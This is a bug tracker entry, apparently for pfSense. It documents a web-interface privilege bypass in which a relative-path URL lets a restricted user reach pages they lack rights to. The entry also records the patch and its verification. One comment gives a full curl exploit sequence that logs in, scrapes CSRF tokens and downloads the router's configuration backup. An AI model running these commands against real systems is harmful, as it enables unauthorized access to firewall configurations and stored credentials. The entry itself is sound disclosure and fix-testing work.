Project

General

Profile

Actions

Bug #9513

closed

Privilege bypass due to relative paths in URL after initial page filename

Added by Jim Pingle almost 5 years ago. Updated almost 5 years ago.

Status:
Resolved
Priority:
Urgent
Assignee:
Category:
Web Interface
Target version:
Start date:
05/09/2019
Due date:
% Done:

100%

Estimated time:
Plus Target Version:
Release Notes:
Affected Version:
All
Affected Architecture:
All

Description

N.B.: I have not yet managed to reproduce this, adding it based on a user report.

Due to the way the privilege system matches pages with wildcards, if the user can feed a relative URL to the server it may be able to bypass a check to reach a page they otherwise couldn't access.

For example, if the user has access to status_interfaces.php, but they want to reach diag_backup.php, they can send a request for "status_interfaces.php/../diag_backup.php".

However, few if any clients allow this type of syntax. Most automatically correct the relative path request, and even CLI clients such as cURL and wget remove the relative reference. There may be some proxies such as burpsuite which may be leveraged to send the path in that way (unconfirmed, but suggested by the reporter).

The attached patch should correct the problem, but without being able to reproduce it, we can't confirm the fix, so I have not yet committed it.


Files

priv-match-fixes.diff (2.45 KB) priv-match-fixes.diff Jim Pingle, 05/09/2019 03:44 PM
Actions #1

Updated by Jim Pingle almost 5 years ago

I was finally able to reproduce this, it took some extra parameters in cURL to make it happen.

Setup:
  • Create a user, for example u:foo / p:foo
  • Grant this user access to status_interfaces.php -- The page itself isn't important, just an example, so long as it doesn't have access to the page we're attempting to access later

Test:

Using cURL, attempt to download a backup using diag_backup.php directly. As above, the exact page is not important, so long as it's a page the user does not have privileges to access. diag_backup.php is good because it gives us a file we can easily check as a result.

curl -L -k --cookie-jar cookies.txt \
     https://192.168.1.1/ | grep "name='__csrf_magic'" | sed 's/.*value="\(.*\)".*/\1/' > csrf.txt
curl -L -k --cookie cookies.txt --cookie-jar cookies.txt \
     --data-urlencode "login=Login" \
     --data-urlencode "usernamefld=foo" \
     --data-urlencode "passwordfld=foo" \
     --data-urlencode "__csrf_magic=$(cat csrf.txt)" \
     https://192.168.1.1/ > /dev/null
curl -L -k --cookie cookies.txt --cookie-jar cookies.txt \
     https://192.168.1.1/diag_backup.php  | grep "name='__csrf_magic'"   | sed 's/.*value="\(.*\)".*/\1/' > csrf2.txt

curl -L -k --cookie cookies.txt --cookie-jar cookies.txt \
     --data-urlencode "download=download" \
     --data-urlencode "donotbackuprrd=yes" \
     --data-urlencode "__csrf_magic=$(head -n 1 csrf2.txt)" \
     --path-as-is \
     https://192.168.1.1/diag_backup.php > config-router-`date +%Y%m%d%H%M%S`.xml

This fails as expected. The user does not have access to the page, so the downloaded file only contains the content of the redirected page, index.php, as served by the web server.

Now, try it again but instead of doing a POST to diag_backup.php, form the URL to include the page the user can access, followed by the page they do not have permissions to access, with /../ in between. In this example, status_interfaces.php/../diag_backup.php:

curl -L -k --cookie-jar cookies.txt \
     https://192.168.1.1/ | grep "name='__csrf_magic'" | sed 's/.*value="\(.*\)".*/\1/' > csrf.txt
curl -L -k --cookie cookies.txt --cookie-jar cookies.txt \
     --data-urlencode "login=Login" \
     --data-urlencode "usernamefld=foo" \
     --data-urlencode "passwordfld=foo" \
     --data-urlencode "__csrf_magic=$(cat csrf.txt)" \
     https://192.168.1.1/ > /dev/null
curl -L -k --cookie cookies.txt --cookie-jar cookies.txt \
     --path-as-is \
     https://192.168.1.1/status_interfaces.php/../diag_backup.php  | grep "name='__csrf_magic'"   | sed 's/.*value="\(.*\)".*/\1/' > csrf2.txt

curl -L -k --cookie cookies.txt --cookie-jar cookies.txt \
     --data-urlencode "download=download" \
     --data-urlencode "donotbackuprrd=yes" \
     --data-urlencode "__csrf_magic=$(head -n 1 csrf2.txt)" \
     --path-as-is \
     https://192.168.1.1/status_interfaces.php/../diag_backup.php > config-router-`date +%Y%m%d%H%M%S`.xml

And this time the freshly downloaded file actually contains the requested backup, which the user should not have been able to access.

The patch I attached previously does correct the issue. The user is unable to access the other page with it applied.

Actions #2

Updated by Jim Pingle almost 5 years ago

  • Status changed from New to Feedback
  • % Done changed from 0 to 100
Actions #3

Updated by Jim Pingle almost 5 years ago

  • Target version changed from 2.5.0 to 2.4.4-p3
Actions #4

Updated by Jim Pingle almost 5 years ago

  • Parent task changed from #9398 to #9515
Actions #5

Updated by Chris Linstruth almost 5 years ago

I am not 100% confident that I am testing this correctly but I was able to get the configuration xml from 1 2.4.4-p2 system using /status_interfaces.php/../diag_backup.php and, following the same procedure, got the status_interfaces output from 2.4.4-p3

Actions #6

Updated by Jim Pingle almost 5 years ago

  • Status changed from Feedback to Resolved

A few of us have been hammering on this internally and thus far haven't been able to break it with the patch applied. Looks good.

Actions #7

Updated by Danilo Zrenjanin almost 5 years ago

I was able to get the configuration xml following the commands above on the :

2.4.4-RELEASE-p2 (arm64)
built on Wed Dec 12 14:40:29 EST 2018

after upgrade to :
2.4.4-RELEASE-p3 (arm)
built on Wed May 15 07:44:55 EDT 2019

config.xml was filled with

<html><head><title>CSRF check failed</title><script type="text/javascript">if (top != self) {top.location.href = self.location.href;}</script><script type="text/javascript">var csrfMagicToken = "sid:b070b7b1edc884a3c48d2bb75f7267a691034c82,1557934744";var csrfMagicName = "__csrf_magic";</script><script src="/csrf/csrf-magic.js" type="text/javascript"></script></head>
        <body>
        <p>CSRF check failed. Your form session may have expired, or you may not have
        cookies enabled.</p>
        <form method='post' action=''><input type='hidden' name='__csrf_magic' value="sid:b070b7b1edc884a3c48d2bb75f7267a691034c82,1557934744" /><input type="hidden" name="download" value="download" /><input type="hidden" name="donotbackuprrd" value="yes" /><input type='submit' value='Try again' /></form>
        <p>Debug: hidden</p><script type="text/javascript">CsrfMagic.end();</script></body></html>

Actions #8

Updated by Jim Pingle almost 5 years ago

  • Private changed from Yes to No
Actions

Also available in: Atom PDF